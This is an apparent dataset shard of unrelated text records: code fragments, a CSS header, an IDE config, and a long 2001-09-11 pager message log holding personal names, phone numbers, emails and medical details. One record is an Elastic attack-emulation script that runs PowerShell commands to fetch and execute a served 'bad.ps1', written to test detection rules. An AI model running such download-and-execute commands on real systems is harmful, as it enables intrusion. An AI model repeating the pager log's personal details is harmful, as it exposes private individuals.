definition, id_=None):\n \"\"\"\n :param dict definition:\n :param int id_:\n :rtype: datacube.model.MetadataType\n \"\"\"\n return MetadataType(\n definition,\n dataset_search_fields=self._db.get_dataset_fields(definition),\n id_=id_\n )\n"} {"text": "# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one\n# or more contributor license agreements. Licensed under the Elastic License;\n# you may not use this file except in compliance with the Elastic License.\n\n# Name: Suspicious PowerShell Download\n# RTA: suspicious_powershell_download.py\n# ATT&CK: T1086\n# Description: PowerShell using DownloadString or DownloadFile in suspicious context\n\nimport os\nimport time\n\nfrom . import common\n\n\n@common.requires_os(common.WINDOWS)\ndef main():\n cmd_path = \"c:\\\\windows\\\\system32\\\\cmd.exe\"\n server, ip, port = common.serve_web()\n url = 'http://{}:{}/bad.ps1'.format(ip, port)\n\n cmds = [\"powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')\".format(url),\n \"powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')\".format(url)]\n\n # emulate word and chrome\n for user_app in [\"winword.exe\", \"chrome.exe\"]:\n common.log(\"Emulating {}\".format(user_app))\n user_app_path = os.path.abspath(user_app)\n common.copy_file(cmd_path, user_app_path)\n\n for cmd in cmds:\n common.execute([user_app_path, \"/c\", cmd])\n time.sleep(2)\n\n # cleanup\n common.remove_file(user_app_path)\n\n\nif __name__ == \"__main__\":\n exit(main())\n"} {"text": "@charset \"UTF-8\";\n/*\n * jQuery File Upload Plugin CSS Example 8.8.2\n * https://github.com/blueimp/jQuery-File-Upload\n *\n * Copyright 2013, Sebastian Tschan\n * https://blueimp.net\n *\n * Licensed under the MIT license:\n * http://www.opensource.org/licenses/MIT\n */\n\nbody {\n padding-top: 60px;\n}\n"} {"text": "<component name=\"libraryTable\">\n <library name=\"Maven: javax.servlet:javax.servlet-api:3.0.1\">\n <CLASSES>\n <root url=\"jar:///usr/local/maven/repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1.jar!/\" />\n </CLASSES>\n <JAVADOC>\n <root url=\"jar:///usr/local/maven/repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1-javadoc.jar!/\" />\n </JAVADOC>\n <SOURCES>\n <root url=\"jar:///usr/local/maven/repository/javax/servlet/javax.servlet-api/3.0.1/javax.servlet-api-3.0.1-sources.jar!/\" />\n </SOURCES>\n </library>\n</component>"} {"text": "2001-09-11 08:59:01 Arch [0930665] C ALPHA 8628**Customer reported outage* Internet is unavailable. Impact:User unable to connect to internet. Multiple users state either extremely slow connection or connection timed out error. Occurred:08:55\n2001-09-11 08:59:01 Arch [0038259] A ALPHA 8628**Customer reported outage* Internet is unavailable. Impact:User unable to connect to internet. Multiple users state either extremely slow connection or connection timed out error. Occurred:08:55\n2001-09-11 08:59:01 Arch [0284904] C ALPHA 8628**Customer reported outage* Internet is unavailable. Impact:User unable to connect to internet. Multiple users state either extremely slow connection or connection timed out error. Occurred:08:55\n2001-09-11 08:59:01 Arch [0949118] D ALPHA Bell Catherine A|FW: Mellon Financial's Foreign E|> ---------- > From: Green David G > Sent: Tuesday, September 11, 2001 8:44:49 AM > To: Green David G > Subject: Mellon Financial's Foreign Exchange C\n2001-09-11 08:59:01 Metrocall [0476499] A ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 2246\n2001-09-11 08:59:01 Metrocall [1830195] A ALPHA #148/1 P09:00.From: NRI.10780/90 PARKRIDGE BLVD.RESTO 22091.SC P1 W0 *POD*.RM 140 TUES 0900 COMPLETE NOON DO WITH ANNANDALE JOB 150\n2001-09-11 08:59:01 Metrocall [0000329] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 2246\n2001-09-11 08:59:01 Skytel [005360646] B ALPHA alerts@firstunion.com|BALANCE NOTIFICATION|First Union's Alert Service. Date: 09-11-2001 Opening Balance: $4454.04 Account Number: XXXXXXXXX0304 This is your Daily balance notification for your EXPRESS CHECKING account. For balance inqu\n2001-09-11 08:59:01 Skytel [007489801] C SH/TONE 577-5000\n2001-09-11 08:59:01 Skytel [004125839] D ALPHA 8700 (43\n2001-09-11 08:59:01 Skytel [005243913] C SH/TONE 1 \n2001-09-11 08:59:01 Skytel [005081737] C SH/TONE 328 \n2001-09-11 08:59:01 Skytel [005204611] A ST NUM 9475937648\n2001-09-11 08:59:01 Skytel [004593799] B SH/TONE 99 \n2001-09-11 08:59:03 Arch [0895403] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 7068\n2001-09-11 08:59:03 Metrocall [1456235] C ALPHA Frm: rharkey@mediaone.net Sub: Rex saw someone.... Txt: Rex is barking right now :) ---- X10 Trigger (Rex Motion Before Sunset)\n2001-09-11 08:59:03 Metrocall [0727230] D ALPHA A/E: 714 is at work and can dispatc\n2001-09-11 08:59:03 Metrocall [0125934] D ALPHA ALERT-SITE: 0257 - NY257 HOMER .63 * A3 12 VDC * MAJ ALARM * 08.2V MAJ=NONE\n2001-09-11 08:59:03 Metrocall [002588215] B ALPHA MAKE A P/U AT GRAYBAR WHEN DOWN THAT WAY\n2001-09-11 08:59:03 Skytel [003414162] A SH/TONE 599-8480\n2001-09-11 08:59:03 Skytel [002464788] B SH/TONE 8854 (61\n2001-09-11 08:59:03 Skytel [004744468] B ST NUM 746-486-5455 \n2001-09-11 08:59:03 Skytel [007553044] B ALPHA bschork@att.com||FYI: A plane crashed into the World Trade Center and the building is on fire. \n2001-09-11 08:59:03 Skytel [003258002] A SH/TONE 01 \n2001-09-11 08:59:05 Arch [0928530] A ALPHA 234-2208\n2001-09-11 08:59:05 Arch [0618707] A ALPHA Maxsql <MAXSQL@s|SQL Server Job System: 'Insuranc|JOB RUN: 'Insurance Daily: Integrator Daily Mod (OptOne)' was run on 9/11/01 at 4:00:00 AM DURATION: 2 hours, 0 minutes, 6 seconds STATUS: Failed MESSAGES: The job failed. The Job was invoke\n2001-09-11 08:59:05 Metrocall [0727230] D ALPHA h around doing traffic reports..I have ABC with live footage from NY.[714]\n2001-09-11 08:59:05 Skytel [005130787] A ST NUM 819-469-5810 \n2001-09-11 08:59:05 Skytel [007523232] A ALPHA alert@msn.com||Review various web-themes 9/11/00 Merrill Lynch - Be Bullish \n2001-09-11 08:59:05 Skytel [002789397] B ST NUM 1) 335-4461 \n2001-09-11 08:59:05 Skytel [004435240] C SH/TONE 369-7722\n2001-09-11 08:59:05 Skytel [007111592] C ST NUM 512-931-7123 \n2001-09-11 08:59:05 Skytel [005363860] B ALPHA PLEASE CALL ME RIGHT AWAY. -KERRI\n2001-09-11 08:59:05 Skytel [005256100] B SH/TONE 7357 \n2001-09-11 08:59:05 Skytel [003253927] B ST NUM 562-439-6606-0 (89 \n2001-09-11 08:59:05 Skytel [004542612] B SH/TONE 6351 \n2001-09-11 08:59:06 Skytel {0877264} 1 1200 itana tez chalaoge to cops pakad lenge :) Kiran Vaya Pager Pin: 6058724 Nextel \n2001-09-11 08:59:06 Skytel {1708638} 1 1200 514-630-2225-5199 \n2001-09-11 08:59:06 Skytel {1903475} 1 1200 9999 \n2001-09-11 08:59:07 Skytel {0393367} 1 1200 TONE ONLY\n2001-09-11 08:59:07 Skytel {0462911} 1 1200 130899 \n2001-09-11 08:59:07 Skytel {0470360} 1 2400 Disney Opposes Deal to Combine AOL With AT&T's Cable Assets[DJ NEWS] (17..\n2001-09-11 08:59:08 Skytel {1102375} 1 2400 57266 29 \n2001-09-11 08:59:08 Skytel {0129056} 3 2400 394-2982 \n2001-09-11 08:59:08 Skytel {1092655} 3 2400 002298 \n2001-09-11 08:59:12 Arch [0723117] D ALPHA 1/02:removed: psaptdb1 IntDown 170.230.205.11 From: root@insightcwtr0 \n2001-09-11 08:59:12 Arch [1658173] D ALPHA 8628**Customer reported outage* Internet is unavailable. Impact:User unable to connect to internet. Multiple users state either extremely slow connection or connection timed out error. Occurred:08:55\n2001-09-11 08:59:12 Arch [0936165] B ALPHA Helpdesk.AutoFax|TAT's|EDMI-AFIN:29 APPS/17 MINS EDMI-TRAN:1 APPS/14 MINS EDMI-AFCC:64 APPS/20 MINS \n2001-09-11 08:59:12 Arch [1612299] C ALPHA 8628**Customer reported outage* Internet is unavailable. Impact:User unable to connect to internet. Multiple users state either extremely slow connection or connection timed out error. Occurred:08:55\n2001-09-11 08:59:12 Metrocall [1283444] B ALPHA Time to take medication.\n2001-09-11 08:59:12 Metrocall [002110674] A ALPHA Time to take medication.\n2001-09-11 08:59:12 Metrocall [002110255] D ALPHA Take meds!\n2001-09-11 08:59:12 Metrocall [002110359] B ALPHA Time for meds!\n2001-09-11 08:59:12 Metrocall [002116215] B ALPHA Frm: Ggscrap@aol.com Sub: (no subject) Txt: a plane crashed into the world\n2001-09-11 08:59:12 Metrocall [1281643] C ALPHA Take meds.\n2001-09-11 08:59:12 Metrocall [1875118] D ALPHA Time to take your meds.\n2001-09-11 08:59:12 Metrocall [1145779] A ALPHA 111/ / 253050258/ 1826/ Lawrence Memorial Ho/ 325 Maine/ Lawrence/ Warren Quillin rx/ 785-749-6445/ sent urgent vm SYS2k ver 3.05 jazz drive is bad. eve\n2001-09-11 08:59:14 Arch [0723117] D ALPHA 2/02:AlertID: 18557/4451\n2001-09-11 08:59:14 Metrocall [1456109] D ALPHA it is 7am o.k.//owen\n2001-09-11 08:59:14 Metrocall [002110493] D ALPHA Time to take medication.\n2001-09-11 08:59:14 Metrocall [002110636] D ALPHA Remember morning meds.\n2001-09-11 08:59:14 Metrocall [002116215] B ALPHA trade center\n2001-09-11 08:59:14 Metrocall [1145779] A ALPHA ry morning for the last few days the rx has come in\n2001-09-11 08:59:14 Metrocall [1116477] D ALPHA HARK1 LINE UP :UNIX\n2001-09-11 08:59:14 Metrocall [1789770] C ALPHA Good Morning Reminder B/U on call 8p-8a thx susan\n2001-09-11 08:59:16 Arch [1088752] A ALPHA [01/02]:The Problem with ID 00330252 Severity 1 Description Holbrook\\ext 3187\\CWID-MLARK Doug called to report that the DCE demon is down on MOPK13 Cat Prod. He needs someone...\n2001-09-11 08:59:16 Arch [0453111] B ALPHA 40-PLEASE CALL STUDIO CONTROL ROOM 47 ASAP.\n2001-09-11 08:59:16 Arch [0942438] B ALPHA 761-8720\n2001-09-11 08:59:16 Arch [0723117] D ALPHA 1/02:removed: pfs70 IntDown 170.230.205.9 From: root@insightcwtr0 \n2001-09-11 08:59:16 Arch [1213207] B ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 9991\n2001-09-11 08:59:16 Arch [0775758] D ALPHA 212 435-8041\n2001-09-11 08:59:16 Arch [1026114] A ALPHA PAGE FROM srinak: plane crashed into world trade center bld\n2001-09-11 08:59:16 Metrocall [1064385] A ALPHA JY 8210/8280 -065 EC 8976/8957 -0021 BP 14574/14520 +000 SF 5928/5934 -012 CD 6410/6401 +012 DM 4520/4591 -082 FES 9697/735/741/33 FDX 4737/4785 +050 PTB 8959/8867 -019 1YTT 9502/9489 -01 CAC 4449/4467 +055 BDL10802-23FYB13900 BDM10713-15\n2001-09-11 08:59:17 Skytel {0401194} 3 1200 212-762-2316 \n2001-09-11 08:59:18 Arch [1088752] A ALPHA [02/02] to call him ASAP. has not been resolved.It has been escalated to level 2 on 09/10/200\n2001-09-11 08:59:18 Skytel {1627221} 1 1200 CALL BILL WINE 540 459 8455 OR MOBILE AT 540 333 6133 AS SOON AS POSSIBLE.\n2001-09-11 08:59:20 Arch [1132793] C ALPHA Router MR.Net Frame DOWN at 07:59:22\n2001-09-11 08:59:20 Arch [1256124] D ALPHA Partners are unable to retrieve documents via CCR. Groupware is investigating. No ETA. Remedy# 2305932 Tony/OCC \n2001-09-11 08:59:20 Arch [1655589] B ALPHA Breaking NEWS!!!! Plane crashed into the Twin Towers in NY. Building is on fire!!!! S3\n2001-09-11 08:59:20 Arch [1318641] A ALPHA 6557\n2001-09-11 08:59:22 Metrocall [1830195] A ALPHA #148/2 D12:00.To: 1435 NATIONAL RESOURCES.1899 L ST NW.N W 20036.SC P1 W0 *POD*.RM 303 *\n2001-09-11 08:59:22 Metrocall [002568740] B ALPHA eoliss1 port scan 192.216.56.104:80 -> 208.147.222.99:52 @07:58:56\n2001-09-11 08:59:22 Metrocall [002568740] B ALPHA eoliss2 port scan 192.216.56.146:80\n2001-09-11 08:59:22 Metrocall [1421924] B ALPHA Frm: Gentran_Production Sub: MAIL FROM GENTRAN NT - TWCTULGT01 Txt: INFORMATIONAL MSG - NEXTIRA SERVER IS RUNNING\n2001-09-11 08:59:22 Metrocall [1746070] B ALPHA Take: Folic Acid, Covmadin, PVK\n2001-09-11 08:59:23 Arch [0965689] C ALPHA bdhp4231: Disk utilization of /home filesystem 81% is greater than 80\n2001-09-11 08:59:23 Arch [0723117] D ALPHA 2/02:AlertID: 18556/4327\n2001-09-11 08:59:23 Arch [0902447] D ALPHA 860 545-3943\n2001-09-11 08:59:23 Arch [0949118] D ALPHA Bell Catherine A|FW: Web Server Content Update -I|> ---------- > From: Schwartz Jeff F > Sent: Tuesday, September 11, 2001 9:03:54 AM > To: TRUST/IDS-QA > Cc: O'Savage Jack E; Irvine Jeromy L > Subjec\n2001-09-11 08:59:23 Arch [0509015] B ALPHA 43904263766304026084465464022688096804056830968\n2001-09-11 08:59:24 Metrocall [002110713] C ALPHA Medication reminder\n2001-09-11 08:59:24 Metrocall [002568740] B ALPHA -> 208.147.222.99:31 @08:00:48\n2001-09-11 08:59:24 Metrocall [0854332] D ALPHA FYI...Printing problem from MPE systems has re-occurred...SY and Jerry on the bridg\n2001-09-11 08:59:24 Metrocall [1398585] C ALPHA FYI...Printing problem from MPE systems has re-occurred...SY and Jerry on the bridge now...SY\n2001-09-11 08:59:24 Metrocall [1223108] B ALPHA FYI...Printing problem from MPE systems has re-occurred...SY and Jerry on the bridge now...SY\n2001-09-11 08:59:27 Arch [0949746] A ALPHA 1/02:****CHG-TKT**** TYPE: Major OP: 08/31/01 11:05:55 Tkt: NOC000000083771 STAT: Monitor COMPANY NAME: BellSouth.Net Inc. SITE: Atlanta 1100 LOG: This is just a TELEALERT test. Please do not re\n2001-09-11 08:59:29 Arch [0949746] A ALPHA 2/02:678-441-8377\n2001-09-11 08:59:29 Arch [1612018] A ALPHA alirobin|Nasser Charles from Channels is asking to borrow your proxima. Please call reception to confirm. \n2001-09-11 08:59:29 Arch [0966611] A ALPHA |ILS: Case Close,B819990,P3,Title:CSCO : DEVICE PG10 DISCONNECTED. ,Owner:YBOELEN,Site/Contract:CISCO SYSTEMS/1403504,Contact:STEVE FEY@305 718-2664 |-- ILS ID: A125978280-S80851|178 \n2001-09-11 08:59:29 Metrocall [1889681] A ALPHA Hello to you.i b here at my de sk.oh my i just had a big ole coughin s pell.my goodness.u have a good\n2001-09-11 08:59:29 Metrocall [0854332] D ALPHA e now...SY\n2001-09-11 08:59:29 Metrocall [002573085] D ALPHA 813-882-2899 -911, DALFS63E is down. TSD#1706748. please call Ed with ETA <ETRIGLIA-08:59\n2001-09-11 08:59:29 Metrocall [1696985] C ALPHA Frm: Super-User Sub: No Response Txt: Ping from adsa1000 to silverstream(144.11.101.44) failed\n2001-09-11 08:59:29 Metrocall [1457370] C ALPHA Frm: Super-User Sub: No Response Txt: Ping from adsa1000 to silverstream(144.11.101.44) failed\n2001-09-11 08:59:31 Arch [1033132] D ALPHA Veeru Mehta <vee|09/11 (Tue): ToDos: DLJ 200 dolls fr Plm DLJ abt 3 margin extn fees \n2001-09-11 08:59:31 Arch [0809997] D ALPHA \"-\"<posbourne@do|<1/3:DS:9/11> Data Warehouse Users Meeting 8:30A-9:30A:8th floor conf. room 817 Write Friday Report 1:30P-2:00P: \n2001-09-11 08:59:31 Metrocall [1121667] A ALPHA Frm: Admin, Sql Sub: Pri 1-11658 Q:.NETWORKSep 11 2001 8:58AM Txt: Call from David Brigman regarding Citrix Serv is down. has been given to you.\n2001-09-11 08:59:31 Metrocall [002573085] D ALPHA ET DSSTXD>\n2001-09-11 08:59:31 Metrocall [1924241] A ALPHA Frm: Mark.Crain@ci.orlando.fl.us Sub: LN Txt: Frank Usina To: Mark Crain/TMD/ASV/Orlando@Orlando 09/11/2001 cc: Mark 08:54 AM Hoover/TMD/ASV/Orlando@Orlando, Dayna Walters/PER/ADM/Orlando@Orlando Subject: Re: Monitor Replacemen\n2001-09-11 08:59:31 Skytel [005361153] A ALPHA 363020 652dr s2a652 hpnontop Comm Line is Down\n2001-09-11 08:59:31 Skytel [002265600] A SH/TONE 5081 \n2001-09-11 08:59:31 Skytel [002283524] B ST NUM 717-759-4483 \n2001-09-11 08:59:31 Skytel [005074436] B SH/TONE 113 \n2001-09-11 08:59:31 Skytel [005383561] C ST NUM 407-805-0872 \n2001-09-11 08:59:31 Skytel [003914893] D ALPHA Aloha cal not being used please call texas bridge # 888-935-0068 pin 269269# for aloha usage. Dallas Data Center Operations 9/11/01 7:59:09 AM\n2001-09-11 08:59:31 Skytel [002368776] C ST NUM 897-1547 (70 \n2001-09-11 08:59:31 Skytel [005202572] D SH/TONE 434-6363\n2001-09-11 08:59:31 Skytel [007595659] C ST NUM 610-865-6300-135 \n2001-09-11 08:59:31 Skytel [003260422] B ALPHA Aloha cal not being used please call texas bridge # 888-935-0068 pin 269269# for aloha usage. Dallas Data Center Operations 9/11/01 7:59:11 AM\n2001-09-11 08:59:31 Skytel [002558095] D SH/TONE 75 \n2001-09-11 08:59:31 Skytel [005176333] D SH/TONE 9323 \n2001-09-11 08:59:31 Skytel [005066253] D ST NUM 618-469-8113-911 \n2001-09-11 08:59:31 Skytel [002370315] C ST NUM 8002273030\n2001-09-11 08:59:31 Skytel [005446276] B ALPHA root@linux.office|SYSTEM DOWN|SERVER: 64.124.42.41 - Down at: Tue Sep 11 05:57:20 PDT 2001 - REPORTED FROM: linux \n2001-09-11 08:59:33 Arch [1033132] D ALPHA Veeru Mehta <vee|Enquire abt the 10000 from DLJ/CSFB check sent to me on 3/16/2000 Fax policy to Mark Robson Satoriwireless / Sprint \n2001-09-11 08:59:33 Arch [0809997] D ALPHA \"-\"<posbourne@do|<3/3:DS:9/11> Weekly Technical Discussion 4:00P-4:30P:Small Conference Room \n2001-09-11 08:59:33 Arch [0935270] B ALPHA 215\n2001-09-11 08:59:33 Metrocall [0494595] A ALPHA From:Cloverleaf production mode <hci@cloverprod> Body:A Team Health thread is down in live. Please check Cloverleaf.\n2001-09-11 08:59:33 Metrocall [1924241] A ALPHA t, Pgm 148 Ma\n2001-09-11 08:59:33 Metrocall [0007690] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 3639\n2001-09-11 08:59:33 Metrocall [0902991] D ALPHA 30-PLEASE CALL THE ER ASAP.\n2001-09-11 08:59:33 Metrocall [002110287] D ALPHA REMEMBER YOUR MEDICATION.\n2001-09-11 08:59:35 Arch [0935997] D ALPHA \"EDI Prod 5.2 Ad|gt_pager_test|Test paging system - OK.\n2001-09-11 08:59:35 Arch [1033132] D ALPHA Veeru Mehta <vee|JCPenny 5/22:0661381 $156.84, part returned 0915307 72.08. store: 446-9600 PAY RENT Fill the reimbursement form \n2001-09-11 08:59:35 Arch [0809997] D ALPHA \"-\"<posbourne@do|<2/3:DS:9/11> Project Database 2:00P-3:00P:8th floor large conf. room Updated: Xavier Migration Status Meeting 3:00P-4:00P:8th Floor Conf. R \n2001-09-11 08:59:35 Metrocall [1064375] B ALPHA /FTSE 5105.90 +072 NIKK 10292.95 +097 DAX 4731.20 +061 CAC40 4435.14 +051 MIB30 31756 +0192 HSI 10417.36 +0051 30 _99.02/03 5.438% GOLD273.40/390 +190 S 4.18/20 PL 440.00\n2001-09-11 08:59:37 Metrocall [1064375] B ALPHA PD 450.00/0.00 +000 JG 1.420%\n2001-09-11 08:59:37 Metrocall [1064387] A ALPHA GB 6160/6167+000 CT_3650/773/962 +000 KC_4835/5130/510+000 SB _787/_761/745+000 SE 2095/2117/241+000 CC _865/922/935 +000 OJ 8025/8250/835+000 YX 56900/57150 +0000 CR 19820/19970 +0000 DX 11495/115\n2001-09-11 08:59:37 Metrocall [0725739] C ALPHA (141652)01:01:1376890:Flagler Hospital:9048194419:WALT:TINKEN:010729003:COMPONENT FAILURE....SURGERY OT AUTH BY CYNTHIA WASHINGTON *HOLD 3027738 ***NOTE\n2001-09-11 08:59:37 Metrocall [0528266] C ALPHA 3632*9619\n2001-09-11 08:59:37 Metrocall [1889681] A ALPHA Day darlin.i beeps on ya n a b it.i paid the water\n2001-09-11 08:59:37 Metrocall {1044358} 2 2400 7185894700-333...\n2001-09-11 08:59:37 Skytel [003471921] A SH/TONE 0270 \n2001-09-11 08:59:37 Skytel [007101501] D ALPHA Problem 02113613 Sev3 P/C-GCTVA GREENE, THOMAS K 1-888-866-9965 A dial up account was requested for Tom, and he was sent a confirmation that the account was created, but will not accept the password that was given him. I we\n2001-09-11 08:59:37 Skytel [004750263] B SH/TONE 974-7665\n2001-09-11 08:59:37 Skytel [002359227] C ALPHA PLANE HAS CRASHED INTO WORLD TRADE CENTER, CALL DAN 312 560 9826. \n2001-09-11 08:59:37 Skytel [002693173] B ALPHA FYI--ALL SENIOR UNITS REPORT TO WORK SITE AS PER DOT-1..OP#12\n2001-09-11 08:59:37 Skytel [002692025] C ST NUM 712-258-0853 \n2001-09-11 08:59:37 Skytel [002779062] B SH/TONE 2182 \n2001-09-11 08:59:37 Skytel [005045043] A ALPHA (1 of 2) BROADCAST: A plane has crashed into the World Trade Center. Be prepared\n2001-09-11 08:59:37 Skytel [002163259] C SH/TONE 937-9999\n2001-09-11 08:59:37 Skytel [005355707] C ST NUM 900-666-6681 \n2001-09-11 08:59:37 Skytel [005055160] C ALPHA ts-carc17.abm.com Up at 06:00:03 on 09/11/01\n2001-09-11 08:59:37 Skytel [005004733] D ALPHA S KIRSHINER 81 PARKSIDE DR SU369-9710 BILL=CK CUST NEV STA5157\n2001-09-11 08:59:37 Skytel [003930047] D ALPHA Richard.Staniszewski@delta.com||AIRCRAFT DAMAGE CONFIRMED AT GATE B18 SHIP 935 DL 1082. DAMAGE TO THE L1 PASSENGER BOARDING DOOR DUE TO A CONFIRMED MALFUNCTION OF JETWAY AUTO LEVELER. \n2001-09-11 08:59:37 Skytel [005126206] D ST NUM 404-255-2782 \n2001-09-11 08:59:38 Arch [0921341] D ALPHA 44-RETURN TO CONTROL ROOM IMMEDIATELY. -ABID\n2001-09-11 08:59:38 Arch [1080989] D ALPHA From wi at 09:00 AM EDT: Fixed wireless 100percent alocation to Convergys \n2001-09-11 08:59:38 Arch [0908382] D ALPHA 581-9238-07-411-423-800-52-27-44\n2001-09-11 08:59:38 Arch [1425048] C ALPHA 300~MPfetchData:openConnectionToManager:ERROR CONNECTING:192.168.35.97 : www36 connectToServerPort:socket/socket timed out at /home/crdtdrv/creditderivatives/script/MPfetchData.pl line 342, <SOCK_192.168.35.19> chunk 180724. \n2001-09-11 08:59:38 Arch [1049670] B ALPHA 86\n2001-09-11 08:59:38 Arch [0918505] C ALPHA 8628**Customer reported outage* Internet is unavailable. Impact:User unable to connect to internet. Multiple users state either extremely slow connection or connection timed out error. Occurred:08:55\n2001-09-11 08:59:38 Arch [0038277] B ALPHA 8628**Customer reported outage* Internet \n2001-09-11 08:59:38 Arch [0909668] B ALPHA 68-CALL AL ORTIZ IN 47 ASAP.\n2001-09-11 08:59:38 Arch [1025205] B ALPHA 78-BREAKING NEWS, PLANE CRASHED INTO WORLD TRADE CENTER, CALL ME LATER. LOVE NANCY.\n2001-09-11 08:59:38 Arch [1033132] D ALPHA Veeru Mehta <vee|#For September 11, 2001 \n2001-09-11 08:59:39 Skytel [007541043] A ST NUM 20006465577936 \n2001-09-11 08:59:39 Skytel [002269376] A ST NUM 800-227-3030 \n2001-09-11 08:59:39 Skytel [0000450] A ALPHA Aloha cal not being used please call texas bridge # 888-935-0068 pin 269269# for aloha usage. Dallas Data Center Operations 9/11/01 7:59:11 AM (5\n2001-09-11 08:59:39 Skytel [007645248] A SH/TONE 712-3403\n2001-09-11 08:59:39 Skytel [003953857] A ALPHA Richard.Staniszewski@delta.com||AIRCRAFT DAMAGE CONFIRMED AT GATE B18 SHIP 935 DL 1082. DAMAGE TO THE L1 PASSENGER BOARDING DOOR DUE TO A CONFIRMED MALFUNCTION OF JETWAY AUTO LEVELER. \n2001-09-11 08:59:39 Skytel [005004733] D ALPHA 902\n2001-09-11 08:59:39 Skytel [003948745] C SH/TONE 6550 \n2001-09-11 08:59:39 Skytel [002815310] D SH/TONE 592-7999\n2001-09-11 08:59:39 Skytel [003460427] C SH/TONE 547-5571\n2001-09-11 08:59:39 Skytel [005048779] C ALPHA wn@solutions.att.com|AT&T Tkt#0983670-(800):ACCUWAN|9/10/01 12:42:49 PM PATSORNJ01 TT# 983670 Ethernet back up. Closing tkt. \n2001-09-11 08:59:39 Skytel [004391244] D SH/TONE 2345 \n2001-09-11 08:59:39 Skytel [005185741] D ST NUM 1-718-833-3542 \n2001-09-11 08:59:40 Arch [1301744] A ALPHA Partners are unable to retrieve documents via CCR. Groupware is investigating. No ETA. Remedy# 2305932 Tony/OCC \n2001-09-11 08:59:40 Arch [0509185] A ALPHA A plane just crashed into the side of the World Trade Center on the 80th floor & it's still inside! I just saw live photos o\n2001-09-11 08:59:40 Arch [1049670] B ALPHA 28**Customer reported outage* Internet is unavailable. Impact:User unable to connect to internet. Multiple users state either extremely slow connection or connection timed out error. Occurred:08:55\n2001-09-11 08:59:40 Arch [0038277] B ALPHA is unavailable. Impact:User unable to connect to internet. Multiple users state either extremely slow connection or connection timed out error. Occurred:08:55\n2001-09-11 08:59:40 Arch [1640314] C ALPHA Partners are unable to retrieve documents via CCR. Groupware is investigating. No ETA. Remedy# 2305932 Tony/OCC \n2001-09-11 08:59:40 Arch [1206926] D ALPHA Partners are unable to retrieve documents via CCR. Groupware is investigating. No ETA. Remedy# 2305932 Tony/OCC \n2001-09-11 08:59:40 Skytel [005196369] A ST NUM 709-386-3404 \n2001-09-11 08:59:40 Skytel [002865627] C ALPHA ts-carc17.abm.com Up at 06:00:03 on 09/11/01\n2001-09-11 08:59:40 Skytel [002778448] A ST NUM 630-443-8965 \n2001-09-11 08:59:40 Skytel [005359199] D ALPHA PLEASE CALL MIKE AT 212-989-7100 EXT 245.\n2001-09-11 08:59:40 Skytel [002555735] B ST NUM 814-486-4399 \n2001-09-11 08:59:40 Skytel [005185879] B ST NUM 3) 414-630-6517\n2001-09-11 08:59:40 Skytel [005048529] A ALPHA ts-carc17.abm.com Up at 06:00:03 on 09/11/01\n2001-09-11 08:59:40 Skytel [002794327] B SH/TONE 484-1300\n2001-09-11 08:59:40 Skytel [003600083] A ST NUM 518-257-4187 \n2001-09-11 08:59:40 Skytel [002164694] B SH/TONE 842-8811\n2001-09-11 08:59:40 Skytel [004591450] C ST NUM 778-468-6262 \n2001-09-11 08:59:40 Skytel [007007828] B ALPHA ALL PERSONAL AS PER MICKEY IN ASAP, MCI IN MANHATTEN\n2001-09-11 08:59:40 Skytel [004740433] A ST NUM 304-727-1943 \n2001-09-11 08:59:40 Skytel [005004369] A ALPHA Wtch: webtst01: /var on webtst01 is OK\n2001-09-11 08:59:40 Skytel [002464604] D ST NUM 710-5744-88 \n2001-09-11 08:59:40 Skytel [004716893] D SH/TONE 978-4636\n2001-09-11 08:59:40 Skytel [007610333] D ALPHA oraerp@gpsd003a.corporate.ge.com|gpsorp77 has Long Holding Sessions Tue Sep 11 08:54:09 EDT 2001| 87 \n2001-09-11 08:59:40 Skytel [007022045] D SH/TONE 222-4727\n2001-09-11 08:59:40 Skytel [005246300] D SH/TONE 99 \n2001-09-11 08:59:40 Skytel [005387998] D SH/TONE 264-7983\n2001-09-11 08:59:41 Metrocall [1144333] D ALPHA Jim, Bill Hann is here and is going up stairs to the Radiology Directors' Meeting. Terrie\n2001-09-11 08:59:41 Metrocall [1064387] A ALPHA 37 +031 EJ 10930/10815 +000 RK 95020/94965 +000\n2001-09-11 08:59:41 Metrocall [1889681] A ALPHA bill.luv u me.\n2001-09-11 08:59:41 Metrocall [1220056] C ALPHA MW: Plane has hit the World Trade Center...bldg on fire. wpc\n2001-09-11 08:59:41 Metrocall [1105393] A ALPHA Todd Bennett 855-1550 need to speak with you some blinds\n2001-09-11 08:59:41 Metrocall [1064380] D ALPHA CYPRUS 14 DAY REVERSE REPO AVERAGE YLD 4.62 PCT\n2001-09-11 08:59:41 Metrocall [1064378] C ALPHA U.S. CHAIN STORE SALES FELL 0.1 PCT SEPT 8 W\n2001-09-11 08:59:42 Arch [0509185] A ALPHA n CNN - it looks really bad. FYI - Luv U \n2001-09-11 08:59:42 Arch [1394551] B ALPHA D:13/5 S:0/5\n2001-09-11 08:59:42 Metrocall [1261323] C ALPHA Frm: fusasitescope@wingspan.com Txt: elgweb3 login page timed out reading\n2001-09-11 08:59:42 Skytel [003411808] A ST NUM 315-542-1275 \n2001-09-11 08:59:42 Skytel [005073616] A SH/TONE 785-0077\n2001-09-11 08:59:42 Skytel [005100640] A SH/TONE 769-7750\n2001-09-11 08:59:42 Skytel [007465957] B ALPHA ts-carc17.abm.com Up at 06:00:03 on 09/11/01\n2001-09-11 08:59:42 Skytel [005171297] A ST NUM 757-872-7846 (52 \n2001-09-11 08:59:42 Skytel [003928805] B ALPHA pls give me a call...ge 59257\n2001-09-11 08:59:42 Skytel [003437539] A SH/TONE 469-5377\n2001-09-11 08:59:42 Skytel [004717797] B SH/TONE 42569 \n2001-09-11 08:59:42 Skytel [005104238] D ALPHA 2153325 *2*MEDPLEX LA*SAN ANTO*Jim ? *(210)614-7823X *ACCESS *304262 *403001 *09/11 08:00*CDTOT *NPO*Reagent Carousel: Temp O/H hig\n2001-09-11 08:59:42 